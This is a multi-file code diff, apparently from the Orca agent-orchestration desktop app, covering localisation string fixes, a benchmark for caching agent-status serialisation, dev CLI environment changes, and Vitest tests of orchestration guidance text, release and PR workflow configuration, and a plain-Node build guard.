ja: '連携'
|
||||
},
|
||||
// Search-match fragment concatenated flush after the visible theme count; MT dropped the
|
||||
// en leading space that separates it from the count.
|
||||
'auto.components.settings.SettingsFormControls.c822571b2e': {
|
||||
zh: ' 匹配“{{value0}}”',
|
||||
ja: ' 「{{value0}}」に一致'
|
||||
},
|
||||
// Total-count fragment on the same row; without the separator "Showing 30 of 30"
|
||||
// rendered as "表示中 3030の" / "显示中 3030 的".
|
||||
'auto.components.settings.SettingsFormControls.cb330ef7f8': {
|
||||
zh: '/{{value0}}',
|
||||
ja: '/{{value0}}'
|
||||
},
|
||||
'auto.components.settings.TasksPane.6b23a34f6d': {
|
||||
zh: 'Jira',
|
||||
ja: 'Jira'
|
||||
|
||||
@@ -2667,7 +2667,10 @@
|
||||
"ko": "SSH를 통해 기존 머신의 파일, terminals, Git, 워크스페이스를 사용합니다."
|
||||
},
|
||||
"auto.components.settings.SettingsFormControls.c822571b2e": {
|
||||
"ko": "\"{{value0}}\"과(와) 일치"
|
||||
"ko": " \"{{value0}}\"과(와) 일치"
|
||||
},
|
||||
"auto.components.settings.SettingsFormControls.cb330ef7f8": {
|
||||
"ko": "/{{value0}}"
|
||||
},
|
||||
"auto.components.settings.SettingsFormControls.fbb428db98": {
|
||||
"ko": "선택됨:"
|
||||
@@ -2811,7 +2814,7 @@
|
||||
"ko": "{{value0}} 메가바이트"
|
||||
},
|
||||
"auto.components.settings.TerminalPane.6e6480a7df": {
|
||||
"ko": "terminal의 프로그램(tmux, Neovim, fzf, SSH)이 시스템 클립보드에 복사할 수 있게 합니다."
|
||||
"ko": "terminal의 프로그램(Zellij, tmux, Neovim, fzf, Grok, SSH)이 시스템 클립보드에 복사할 수 있게 합니다."
|
||||
},
|
||||
"auto.components.settings.TerminalPane.8eefeaa3da": {
|
||||
"ko": "마우스를 따라 포커스 이동"
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: cost of the mobile agent-status projection per store mutation.
|
||||
//
|
||||
// buildRuntimeMobileAgentStatusProjection runs on the App.tsx global store
|
||||
// subscriber. setAgentStatus replaces one entry and re-spreads
|
||||
// agentStatusByPaneKey, which defeats the reference-equality skip gate, so before
|
||||
// the fix EVERY live agent was re-serialized on EVERY status ping — each carrying
|
||||
// a prompt, a 20-entry stateHistory, toolInput, and an 8 KB-capped
|
||||
// lastAssistantMessage.
|
||||
//
|
||||
// The fix memoizes each row's JSON by entry identity, mirroring the
|
||||
// cachedTabsProjection pattern already in the same file, so a ping re-serializes
|
||||
// only the agent that actually changed.
|
||||
//
|
||||
// The bucket width is re-read from the real module so a drifted constant fails
|
||||
// loudly here instead of quietly changing what this benchmark measures.
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const GRAPH_SOURCE = readFileSync(
|
||||
fileURLToPath(new URL('../../src/renderer/src/runtime/sync-runtime-graph.ts', import.meta.url)),
|
||||
'utf8'
|
||||
)
|
||||
|
||||
const bucketMatch = GRAPH_SOURCE.match(/AGENT_STATUS_SYNC_UPDATED_AT_BUCKET_MS = ([0-9_]+)/)
|
||||
if (!bucketMatch) {
|
||||
throw new Error(
|
||||
'sync-runtime-graph.ts no longer defines the updatedAt bucket; re-sync this benchmark.'
|
||||
)
|
||||
}
|
||||
const BUCKET_MS = Number(bucketMatch[1].replaceAll('_', ''))
|
||||
|
||||
const ITERATIONS = Number.parseInt(process.env.ORCA_AGENT_PROJECTION_BENCH_ITERATIONS ?? '400', 10)
|
||||
const WARMUP = Number.parseInt(process.env.ORCA_AGENT_PROJECTION_BENCH_WARMUP ?? '60', 10)
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_AGENT_PROJECTION_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_AGENT_PROJECTION_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
function toRow(paneKey, entry) {
|
||||
return {
|
||||
paneKey,
|
||||
entryPaneKey: entry.paneKey,
|
||||
state: entry.state,
|
||||
prompt: entry.prompt,
|
||||
updatedAtBucket: Math.floor(entry.updatedAt / BUCKET_MS),
|
||||
stateStartedAt: entry.stateStartedAt,
|
||||
agentType: entry.agentType ?? null,
|
||||
terminalTitle: entry.terminalTitle ?? null,
|
||||
stateHistory: entry.stateHistory.map((history) => ({
|
||||
state: history.state,
|
||||
prompt: history.prompt,
|
||||
startedAt: history.startedAt,
|
||||
interrupted: history.interrupted ?? null
|
||||
})),
|
||||
toolName: entry.toolName ?? null,
|
||||
toolInput: entry.toolInput ?? null,
|
||||
interactivePrompt: entry.interactivePrompt ?? null,
|
||||
lastAssistantMessage: entry.lastAssistantMessage ?? null,
|
||||
interrupted: entry.interrupted ?? null
|
||||
}
|
||||
}
|
||||
|
||||
function serializeEntry(paneKey, entry) {
|
||||
return JSON.stringify(toRow(paneKey, entry))
|
||||
}
|
||||
|
||||
// Pre-fix: build plain rows and stringify the array once — no per-row roundtrip,
|
||||
// which the original never paid and which would inflate the reported speedup.
|
||||
function buildFull(map) {
|
||||
return JSON.stringify(
|
||||
Object.entries(map)
|
||||
.sort(([a], [b]) => a.localeCompare(b))
|
||||
.map(([paneKey, entry]) => toRow(paneKey, entry))
|
||||
)
|
||||
}
|
||||
|
||||
// Post-fix: reuse each row's JSON while its entry object is unchanged.
|
||||
function makeCachedBuilder() {
|
||||
let cache = null
|
||||
return (map) => {
|
||||
if (cache?.source === map) {
|
||||
return cache.projection
|
||||
}
|
||||
const previous = cache?.entries
|
||||
const entries = new Map()
|
||||
const parts = []
|
||||
for (const [paneKey, entry] of Object.entries(map).sort(([a], [b]) => a.localeCompare(b))) {
|
||||
const prior = previous?.get(paneKey)
|
||||
const row =
|
||||
prior?.entry === entry ? prior : { entry, projection: serializeEntry(paneKey, entry) }
|
||||
entries.set(paneKey, row)
|
||||
parts.push(row.projection)
|
||||
}
|
||||
const projection = `[${parts.join(',')}]`
|
||||
cache = { source: map, entries, projection }
|
||||
return projection
|
||||
}
|
||||
}
|
||||
|
||||
// A live agent as the store actually holds it.
|
||||
function makeEntry(index, updatedAt) {
|
||||
return {
|
||||
paneKey: `tab-${index}:leaf-0`,
|
||||
state: 'working',
|
||||
prompt: 'implement the feature and run the tests '.repeat(4),
|
||||
updatedAt,
|
||||
stateStartedAt: 1740000000000,
|
||||
agentType: 'claude',
|
||||
terminalTitle: `agent ${index}`,
|
||||
stateHistory: Array.from({ length: 20 }, (_value, step) => ({
|
||||
state: 'working',
|
||||
prompt: `step ${step} of the current turn`,
|
||||
startedAt: 1740000000000 + step,
|
||||
interrupted: null
|
||||
})),
|
||||
toolName: 'shell_command',
|
||||
toolInput: 'rg --line-number "pattern" src/ '.repeat(8),
|
||||
interactivePrompt: null,
|
||||
// The cap the store applies to assistant text.
|
||||
lastAssistantMessage: 'x'.repeat(8000),
|
||||
interrupted: null
|
||||
}
|
||||
}
|
||||
|
||||
function makeMap(agents) {
|
||||
const map = {}
|
||||
for (let index = 0; index < agents; index += 1) {
|
||||
map[`tab-${index}:leaf-0`] = makeEntry(index, 1740000000000 + index * BUCKET_MS)
|
||||
}
|
||||
return map
|
||||
}
|
||||
|
||||
// One status ping: one entry replaced, the map re-spread, every other entry
|
||||
// reference-identical — exactly what setAgentStatus produces.
|
||||
function ping(map, round) {
|
||||
return {
|
||||
...map,
|
||||
'tab-0:leaf-0': makeEntry(0, 1740000000000 + BUCKET_MS * (round + 1))
|
||||
}
|
||||
}
|
||||
|
||||
function measure(build, map) {
|
||||
let current = map
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
current = ping(current, index)
|
||||
build(current)
|
||||
}
|
||||
const samples = []
|
||||
for (let round = 0; round < 5; round += 1) {
|
||||
const start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
current = ping(current, index)
|
||||
build(current)
|
||||
}
|
||||
samples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
samples.sort((a, b) => a - b)
|
||||
return samples[2]
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Mobile agent-status projection, per status ping (one agent changed)')
|
||||
console.log(`bucket=${BUCKET_MS}ms iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
|
||||
console.log(`${pad('agents', 8)} ${pad('full', 11)} ${pad('cached', 11)} ${pad('speedup', 9)}`)
|
||||
for (const agents of [3, 8, 20, 40]) {
|
||||
const map = makeMap(agents)
|
||||
const cachedBuilder = makeCachedBuilder()
|
||||
if (buildFull(map) !== cachedBuilder(map)) {
|
||||
throw new Error(`projection mismatch at ${agents} agents`)
|
||||
}
|
||||
// Why also after a ping: the cold call reuses nothing, so a stale-row bug would
|
||||
// only surface once the cache is actually exercised.
|
||||
const pinged = ping(map, 0)
|
||||
if (buildFull(pinged) !== cachedBuilder(pinged)) {
|
||||
throw new Error(`projection mismatch after a ping at ${agents} agents`)
|
||||
}
|
||||
const full = measure(buildFull, map)
|
||||
const cached = measure(makeCachedBuilder(), map)
|
||||
console.log(
|
||||
`${pad(agents, 8)} ${pad(`${full.toFixed(4)} ms`, 11)} ${pad(`${cached.toFixed(4)} ms`, 11)} ${pad(`${(full / cached).toFixed(1)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\nThis runs on the global store subscriber, so the cost is paid per status ping\nand scales with the number of agents running in parallel — the workload this\napp exists for.'
|
||||
)
|
||||
@@ -25,6 +25,7 @@ describe('orca-dev package bin', () => {
|
||||
`fs.writeFileSync(${JSON.stringify(outputPath)}, JSON.stringify({`,
|
||||
' argv: process.argv.slice(2),',
|
||||
' userDataPath: process.env.ORCA_USER_DATA_PATH,',
|
||||
' devCliInvocation: process.env.ORCA_DEV_CLI_INVOCATION,',
|
||||
' appExecutable: process.env.ORCA_APP_EXECUTABLE',
|
||||
'}));'
|
||||
].join('\n'),
|
||||
@@ -47,6 +48,7 @@ describe('orca-dev package bin', () => {
|
||||
expect(JSON.parse(readFileSync(outputPath, 'utf8'))).toEqual({
|
||||
argv: ['--help'],
|
||||
userDataPath: path.join(root, 'user-data'),
|
||||
devCliInvocation: '1',
|
||||
appExecutable: path.join(root, 'Electron')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { accessSync, constants, existsSync, realpathSync, statSync } from 'node:fs'
|
||||
import path from 'node:path'
|
||||
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
|
||||
|
||||
const scriptPath = realpathSync(import.meta.filename)
|
||||
const scriptDir = path.dirname(scriptPath)
|
||||
@@ -16,6 +17,8 @@ if (!existsSync(cliEntry)) {
|
||||
}
|
||||
|
||||
process.env.ORCA_USER_DATA_PATH = process.env.ORCA_DEV_USER_DATA_PATH ?? getDefaultDevUserDataPath()
|
||||
// Why: custom dev profiles do not necessarily contain "orca-dev" in their path; carry explicit provenance into the CLI.
|
||||
process.env.ORCA_DEV_CLI_INVOCATION = '1'
|
||||
|
||||
const electronExecutable = getElectronExecutable()
|
||||
if (!process.env.ORCA_APP_EXECUTABLE && isRunnableFile(electronExecutable)) {
|
||||
@@ -23,6 +26,13 @@ if (!process.env.ORCA_APP_EXECUTABLE && isRunnableFile(electronExecutable)) {
|
||||
process.env.ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT = '1'
|
||||
}
|
||||
|
||||
// Why: headless `orca-dev serve` skips the Electron dev runner that normally installs terminal CLI shims.
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot,
|
||||
userDataPath: process.env.ORCA_USER_DATA_PATH,
|
||||
electronExecutable: process.env.ORCA_APP_EXECUTABLE ?? electronExecutable
|
||||
})
|
||||
|
||||
const result = spawnSync(process.execPath, [cliEntry, ...process.argv.slice(2)], {
|
||||
stdio: 'inherit',
|
||||
env: process.env
|
||||
|
||||
@@ -29,10 +29,14 @@ describe('orchestration skill guidance', () => {
|
||||
const skill = readSkill()
|
||||
const toolBoundary = getSection(skill, 'Tool Boundary')
|
||||
|
||||
expect(toolBoundary).toContain(
|
||||
'must create Orca runtime state with `orca orchestration task-create` and `orca orchestration dispatch --inject`'
|
||||
expect(toolBoundary).toContain('must create or bind a Run')
|
||||
expect(toolBoundary).toContain('create the Task with `orca orchestration task-create`')
|
||||
expect(toolBoundary).toContain('preferred `orca orchestration worker-start` composition')
|
||||
expect(toolBoundary).toContain('low-level `orca orchestration dispatch --inject` path')
|
||||
expect(toolBoundary).not.toContain('or `orca orchestration run`')
|
||||
expect(skill).toContain(
|
||||
'`coordinator-start`, `coordinator-stop`, `run`, and `run-stop` are retired scheduler commands'
|
||||
)
|
||||
expect(toolBoundary).toContain('or `orca orchestration run`')
|
||||
expect(toolBoundary).toContain(
|
||||
'Do not substitute non-Orca subagent tools, generic agent-spawn APIs, or chat-only parallel worker features'
|
||||
)
|
||||
@@ -47,6 +51,20 @@ describe('orchestration skill guidance', () => {
|
||||
)
|
||||
})
|
||||
|
||||
it('teaches the hard cutover without reviving a legacy executor', () => {
|
||||
const skill = readSkill()
|
||||
const migration = getSection(skill, 'Contract Migration')
|
||||
|
||||
expect(migration).toContain('hard cutover')
|
||||
expect(migration).toContain('effectsApplied')
|
||||
expect(migration).toContain('skills get orchestration --full')
|
||||
expect(migration).toContain('Do not retry the rejected command unchanged')
|
||||
expect(migration).toContain('no longer supervised')
|
||||
expect(migration).toContain('task-list --run run_legacy_local')
|
||||
expect(migration).toContain('Read-only inspection never consumes legacy mail')
|
||||
expect(migration).toContain('does not run a legacy scheduler, translate old writes, or drain')
|
||||
})
|
||||
|
||||
it('treats long-running worker waits as liveness checkpoints, not failures', () => {
|
||||
const skill = readSkill()
|
||||
|
||||
@@ -213,13 +231,13 @@ describe('orchestration skill guidance', () => {
|
||||
const messaging = getSection(skill, 'Messaging')
|
||||
const workerTerminals = getSection(skill, 'Worker Terminals')
|
||||
const agentFirstExample = workerTerminals.match(
|
||||
/```bash\norca worktree create --name <task-name> --agent codex --json\n[\s\S]*?```/
|
||||
/```bash\norca worktree create --name <task-name> --agent codex --setup run --json\n[\s\S]*?```/
|
||||
)?.[0]
|
||||
|
||||
expect(workerTerminals).toContain('For an allowed new worktree, use agent-first:')
|
||||
expect(workerTerminals).toContain('fallback shell + agent pair')
|
||||
expect(workerTerminals).toContain(
|
||||
'Repo setup or default-terminal settings may still add tabs or splits'
|
||||
'repo setup and default-terminal settings may add intentional tabs or splits'
|
||||
)
|
||||
expect(workerTerminals).toContain('without configured default tabs')
|
||||
expect(workerTerminals).toContain(
|
||||
@@ -229,12 +247,11 @@ describe('orchestration skill guidance', () => {
|
||||
expect(workerTerminals).not.toContain('ends with **one** agent tab')
|
||||
expect(agentFirstExample).toBeDefined()
|
||||
expect(agentFirstExample).not.toContain('orca terminal list')
|
||||
expect(agentFirstExample).toContain('agentTerminalHandle')
|
||||
expect(agentFirstExample).toContain('startupTerminal.handle')
|
||||
expect(messaging).toContain(
|
||||
'Use `startupTerminal.handle` from the create response when present'
|
||||
)
|
||||
expect(messaging).toContain('continue with the replacement only')
|
||||
expect(messaging).toContain('it does not remotely wake another terminal')
|
||||
expect(messaging).toContain('Prefer `agentTerminalHandle` from the create response')
|
||||
expect(messaging).toContain('Continue with the replacement handle only')
|
||||
expect(messaging).toContain('never writes to terminal input or remotely wakes another terminal')
|
||||
expect(messaging).toContain('Use `orchestration dispatch --inject` to deliver a tracked task')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -433,7 +433,7 @@ describe('Electron runtime package contract', () => {
|
||||
expect(afterInstallScript).not.toContain('chmod 0755 "$sandbox"')
|
||||
})
|
||||
|
||||
it('keeps release-cut version commits skill-independent and taggable on retries', () => {
|
||||
it('advances only the skill release ledger in a taggable release-cut commit', () => {
|
||||
const releaseWorkflow = readFileSync(
|
||||
join(projectDir, '.github/workflows/release-cut.yml'),
|
||||
'utf8'
|
||||
@@ -447,13 +447,30 @@ describe('Electron runtime package contract', () => {
|
||||
const bumpIndex = bumpStep.run.indexOf(
|
||||
'npm version "$VERSION" --no-git-tag-version --allow-same-version'
|
||||
)
|
||||
const stageIndex = bumpStep.run.indexOf('git add package.json')
|
||||
const generateIndex = bumpStep.run.indexOf(
|
||||
'node config/scripts/generate-skill-bundle-manifest.mjs --release "$VERSION"'
|
||||
)
|
||||
const commands = bumpStep.run.replace(/^\s*#.*$/gm, '')
|
||||
// Unanchored: a `git add` chained after `&&` stages just as effectively.
|
||||
const stagedPaths = [...commands.matchAll(/\bgit add (.+)$/gm)].flatMap((match) =>
|
||||
match[1].trim().split(/\s+/)
|
||||
)
|
||||
// Quotes trimmed and deduped: the index guard names the row a second time.
|
||||
const mentioned = new Set(commands.match(/resources[/\\]skills[^\s'"]*/g))
|
||||
expect(checkoutStep.with['fetch-depth']).toBe(0)
|
||||
expect(bumpIndex).toBeGreaterThanOrEqual(0)
|
||||
expect(stageIndex).toBeGreaterThan(bumpIndex)
|
||||
// Why: version-only cuts must not mutate content-addressed skill artifacts.
|
||||
expect(bumpStep.run).not.toContain('generate-skill-bundle-manifest')
|
||||
expect(bumpStep.run).not.toContain('resources/skills')
|
||||
// Why: the cut is the only point that advances the release ledger, so this
|
||||
// tag's revision is never rebuilt later — it appends that row, nothing else.
|
||||
expect(generateIndex).toBeGreaterThan(bumpIndex)
|
||||
expect(bumpStep.run.indexOf('git add package.json')).toBeGreaterThan(generateIndex)
|
||||
expect(stagedPaths).toEqual(['package.json', 'resources/skills/release-mapping.json'])
|
||||
// Every distinct mention must be staged, so a copy, a redirect, or a path
|
||||
// held in a variable cannot reach the content-addressed artifacts. Matched
|
||||
// without a trailing slash so `dir="resources/skills"` still counts.
|
||||
expect([...mentioned]).toEqual(stagedPaths.slice(1))
|
||||
// Regeneration is banned job-wide by the generator suite. Here: `-a`, `-am`,
|
||||
// and `--all` sweep unstaged artifacts in; `--allow-empty` below must not.
|
||||
expect(commands).not.toMatch(/\bcommit\b[^\n]*(?:\s-[a-z]*a[a-z]*\b|\s--all\b)/)
|
||||
expect(bumpStep.run).toContain('git diff --cached --quiet')
|
||||
expect(bumpStep.run).toContain('git commit --allow-empty -m "$commit_message"')
|
||||
})
|
||||
@@ -510,7 +527,7 @@ describe('Electron runtime package contract', () => {
|
||||
it('installs the Electron package binary in PR checks without changing native module ABI', () => {
|
||||
const prWorkflow = readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8')
|
||||
const parsedWorkflow = parse(prWorkflow)
|
||||
const installStep = parsedWorkflow.jobs.verify.steps.find(
|
||||
const installStep = parsedWorkflow.jobs.test.steps.find(
|
||||
(step) => step.name === 'Install Electron package binary for tests'
|
||||
)
|
||||
|
||||
@@ -520,7 +537,7 @@ describe('Electron runtime package contract', () => {
|
||||
it('smokes the packaged CLI from outside the checkout in PR checks', () => {
|
||||
const prWorkflow = readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8')
|
||||
const parsedWorkflow = parse(prWorkflow)
|
||||
const smokeStep = parsedWorkflow.jobs.verify.steps.find(
|
||||
const smokeStep = parsedWorkflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Smoke packaged CLI'
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import type { Plugin, Rollup } from 'vite'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
import { createPlainNodeEntryGuardPlugin } from '../../build-plugins/plain-node-entry-guard'
|
||||
|
||||
let outputDir: string | undefined
|
||||
|
||||
afterEach(() => {
|
||||
if (outputDir) {
|
||||
rmSync(outputDir, { recursive: true, force: true })
|
||||
outputDir = undefined
|
||||
}
|
||||
})
|
||||
|
||||
function createOutputDir(): string {
|
||||
outputDir = mkdtempSync(join(tmpdir(), 'orca-plain-node-entry-guard-'))
|
||||
return outputDir
|
||||
}
|
||||
|
||||
function createBundle(code = ''): Rollup.OutputBundle {
|
||||
return {
|
||||
'daemon-entry.js': {
|
||||
type: 'chunk',
|
||||
code,
|
||||
dynamicImports: [],
|
||||
fileName: 'daemon-entry.js',
|
||||
imports: [],
|
||||
isEntry: true,
|
||||
name: 'daemon-entry'
|
||||
} as Rollup.OutputChunk
|
||||
}
|
||||
}
|
||||
|
||||
function runWriteBundle(plugin: Plugin, dir: string, code = ''): void {
|
||||
const hook = plugin.writeBundle
|
||||
if (typeof hook !== 'function') {
|
||||
throw new Error('Expected writeBundle hook')
|
||||
}
|
||||
hook.call(
|
||||
{ meta: { watchMode: false } } as never,
|
||||
{ dir } as Rollup.NormalizedOutputOptions,
|
||||
createBundle(code)
|
||||
)
|
||||
}
|
||||
|
||||
function runCloseBundle(plugin: Plugin): void {
|
||||
const hook = plugin.closeBundle
|
||||
if (typeof hook !== 'function') {
|
||||
throw new Error('Expected closeBundle hook')
|
||||
}
|
||||
hook.call({} as never)
|
||||
}
|
||||
|
||||
describe('plain Node entry guard', () => {
|
||||
it('smoke-loads the daemon after output files are written', () => {
|
||||
const dir = createOutputDir()
|
||||
const plugin = createPlainNodeEntryGuardPlugin()
|
||||
|
||||
expect(() => runWriteBundle(plugin, dir)).not.toThrow()
|
||||
writeFileSync(
|
||||
join(dir, 'daemon-entry.js'),
|
||||
'console.error("Usage: daemon-entry <socket>"); process.exit(1)\n'
|
||||
)
|
||||
|
||||
expect(() => runCloseBundle(plugin)).not.toThrow()
|
||||
})
|
||||
|
||||
it('runs the deferred smoke from closeBundle', () => {
|
||||
const dir = createOutputDir()
|
||||
const plugin = createPlainNodeEntryGuardPlugin()
|
||||
|
||||
runWriteBundle(plugin, dir)
|
||||
writeFileSync(join(dir, 'daemon-entry.js'), "require('./missing-module')\n")
|
||||
|
||||
expect(() => runCloseBundle(plugin)).toThrow('failed to load under plain Node')
|
||||
})
|
||||
|
||||
it('rejects Electron imports during the static bundle scan', () => {
|
||||
const plugin = createPlainNodeEntryGuardPlugin()
|
||||
|
||||
expect(() => runWriteBundle(plugin, createOutputDir(), 'require("electron")')).toThrow(
|
||||
'requires electron'
|
||||
)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,171 @@
|
||||
import { globSync, readFileSync } from 'node:fs'
|
||||
import { parse } from 'yaml'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
|
||||
const dependencyAction = parse(
|
||||
readFileSync('.github/actions/install-node-dependencies/action.yml', 'utf8')
|
||||
)
|
||||
const packageJson = JSON.parse(readFileSync('package.json', 'utf8'))
|
||||
const shellContractFiles = [
|
||||
'src/main/daemon/shell-ready.test.ts',
|
||||
'src/main/providers/local-pty-shell-ready.test.ts',
|
||||
'src/main/providers/__tests__/shell-ready-framework-example.test.ts',
|
||||
'src/shared/posix-command-path-lookup.test.ts'
|
||||
]
|
||||
const patchedNodePtyContractFiles = [
|
||||
'src/main/daemon/node-pty-fd-leak.test.ts',
|
||||
'src/main/pty/omp-shell-wrapper.node-pty.test.ts'
|
||||
]
|
||||
const nativeShellContractFiles = [...shellContractFiles, ...patchedNodePtyContractFiles]
|
||||
const testFilePatterns = [
|
||||
'config/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
|
||||
'src/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
|
||||
'tests/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
|
||||
'tools/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}'
|
||||
]
|
||||
const realZshUsage =
|
||||
/(?:spawnSync|execFileSync|spawn)\(\s*['"](?:\/(?:usr\/)?bin\/)?zsh['"]|spawnSync\(\s*['"]which['"]\s*,\s*\[\s*['"]zsh['"]|name:\s*['"]zsh['"]\s*,\s*path:\s*executablePath/
|
||||
|
||||
describe('PR workflow parallelism', () => {
|
||||
it('cancels superseded runs for the same pull request', () => {
|
||||
expect(workflow.concurrency.group).toBe('pr-checks-${{ github.event.pull_request.number }}')
|
||||
expect(workflow.concurrency['cancel-in-progress']).toBe(true)
|
||||
})
|
||||
|
||||
it('grants the PR workflow read-only repository access', () => {
|
||||
expect(workflow.permissions).toEqual({ contents: 'read' })
|
||||
})
|
||||
|
||||
it('shards the general test suite across sixteen runners', () => {
|
||||
expect(workflow.jobs.test.strategy.matrix.shard).toEqual(
|
||||
Array.from({ length: 16 }, (_, index) => index + 1)
|
||||
)
|
||||
const testStep = workflow.jobs.test.steps.find((step) => step.name === 'Test shard')
|
||||
|
||||
expect(testStep.run).toContain('--shard=${{ matrix.shard }}/${{ strategy.job-total }}')
|
||||
for (const testFile of nativeShellContractFiles) {
|
||||
expect(testStep.run).toContain(`--exclude=${testFile}`)
|
||||
}
|
||||
})
|
||||
|
||||
it('runs real-zsh coverage once outside the general shards', () => {
|
||||
const shellStep = workflow.jobs.shell_contracts.steps.find(
|
||||
(step) => step.name === 'Test real shell contracts'
|
||||
)
|
||||
const shellInstall = workflow.jobs.shell_contracts.steps.find(
|
||||
(step) => step.uses === './.github/actions/install-node-dependencies'
|
||||
)
|
||||
|
||||
expect(workflow.jobs.test.steps.some((step) => step.name === 'Install zsh')).toBe(false)
|
||||
expect(workflow.jobs.shell_contracts.steps.some((step) => step.name === 'Install zsh')).toBe(
|
||||
true
|
||||
)
|
||||
expect(shellInstall.with['native-runtime']).toBe('node')
|
||||
for (const testFile of nativeShellContractFiles) {
|
||||
expect(shellStep.run).toContain(testFile)
|
||||
}
|
||||
})
|
||||
|
||||
it('keeps every real-zsh test in the dedicated shell lane', () => {
|
||||
const discoveredFiles = globSync(testFilePatterns)
|
||||
.filter((testFile) => realZshUsage.test(readFileSync(testFile, 'utf8')))
|
||||
.sort()
|
||||
|
||||
expect(discoveredFiles).toEqual([...shellContractFiles].sort())
|
||||
})
|
||||
|
||||
it('overlaps bundles with independent output directories', () => {
|
||||
const buildStep = workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Build package inputs'
|
||||
)
|
||||
|
||||
expect(buildStep.run).toContain('scripts=(build:relay build:electron-vite:parallel)')
|
||||
expect(buildStep.run).toContain('pnpm run "$script" &')
|
||||
expect(
|
||||
workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Project web client from renderer build'
|
||||
).run
|
||||
).toBe('pnpm run build:web-from-renderer')
|
||||
expect(packageJson.scripts['build:desktop']).toContain('pnpm run build:web-from-renderer')
|
||||
expect(packageJson.scripts['build:release']).toContain('pnpm run build:web-from-renderer')
|
||||
})
|
||||
|
||||
it('restores the pnpm store before dependency installation', () => {
|
||||
const steps = dependencyAction.runs.steps
|
||||
const pnpmIndex = steps.findIndex((step) => step.name === 'Setup pnpm')
|
||||
const nodeIndex = steps.findIndex((step) => step.name === 'Setup Node.js')
|
||||
|
||||
expect(pnpmIndex).toBeLessThan(nodeIndex)
|
||||
expect(steps[nodeIndex].with.cache).toBe('pnpm')
|
||||
})
|
||||
|
||||
it('restores Electron downloads before preparing the package runtime', () => {
|
||||
const steps = workflow.jobs.package.steps
|
||||
const cacheIndex = steps.findIndex((step) => step.name === 'Cache electron-builder downloads')
|
||||
const installIndex = steps.findIndex(
|
||||
(step) => step.uses === './.github/actions/install-node-dependencies'
|
||||
)
|
||||
|
||||
expect(cacheIndex).toBeGreaterThanOrEqual(0)
|
||||
expect(installIndex).toBeGreaterThanOrEqual(0)
|
||||
expect(cacheIndex).toBeLessThan(installIndex)
|
||||
})
|
||||
|
||||
it('prepares each native runtime before its consumers start', () => {
|
||||
const installFor = (jobName) =>
|
||||
workflow.jobs[jobName].steps.find(
|
||||
(step) => step.uses === './.github/actions/install-node-dependencies'
|
||||
)
|
||||
|
||||
for (const jobName of ['static_analysis', 'typecheck', 'git_compatibility']) {
|
||||
expect(installFor(jobName).with, jobName).toBeUndefined()
|
||||
}
|
||||
expect(installFor('shell_contracts').with['native-runtime']).toBe('node')
|
||||
expect(installFor('test').with['native-runtime']).toBe('node')
|
||||
expect(installFor('package').with['native-runtime']).toBe('electron')
|
||||
|
||||
expect(
|
||||
dependencyAction.runs.steps.find((step) => step.name === 'Use external node-gyp').if
|
||||
).toBe("inputs.native-runtime != 'none'")
|
||||
const dependencyInstall = dependencyAction.runs.steps.find(
|
||||
(step) => step.name === 'Install dependencies'
|
||||
)
|
||||
expect(dependencyInstall.run).toContain('--no-frozen-lockfile')
|
||||
expect(dependencyInstall.run).toContain('--ignore-scripts')
|
||||
expect(dependencyInstall.run).not.toContain('--os=')
|
||||
expect(dependencyInstall.run).not.toContain('--cpu=')
|
||||
expect(packageJson.pnpm.supportedArchitectures.os).toEqual(
|
||||
expect.arrayContaining(['current', 'win32'])
|
||||
)
|
||||
expect(packageJson.pnpm.supportedArchitectures.cpu).toContain('current')
|
||||
const prepareRuntime = dependencyAction.runs.steps.find(
|
||||
(step) => step.name === 'Prepare native runtime'
|
||||
)
|
||||
expect(prepareRuntime.if).toBe("inputs.native-runtime != 'none'")
|
||||
expect(prepareRuntime.run).toContain('ensure-native-runtime.mjs --runtime="$NATIVE_RUNTIME"')
|
||||
})
|
||||
|
||||
it('reuses native preparation after the dependency action gate', () => {
|
||||
const buildStep = workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Build package inputs'
|
||||
)
|
||||
const packageStep = workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Package unpacked app'
|
||||
)
|
||||
|
||||
expect(buildStep.run).not.toContain('ensure:electron-runtime')
|
||||
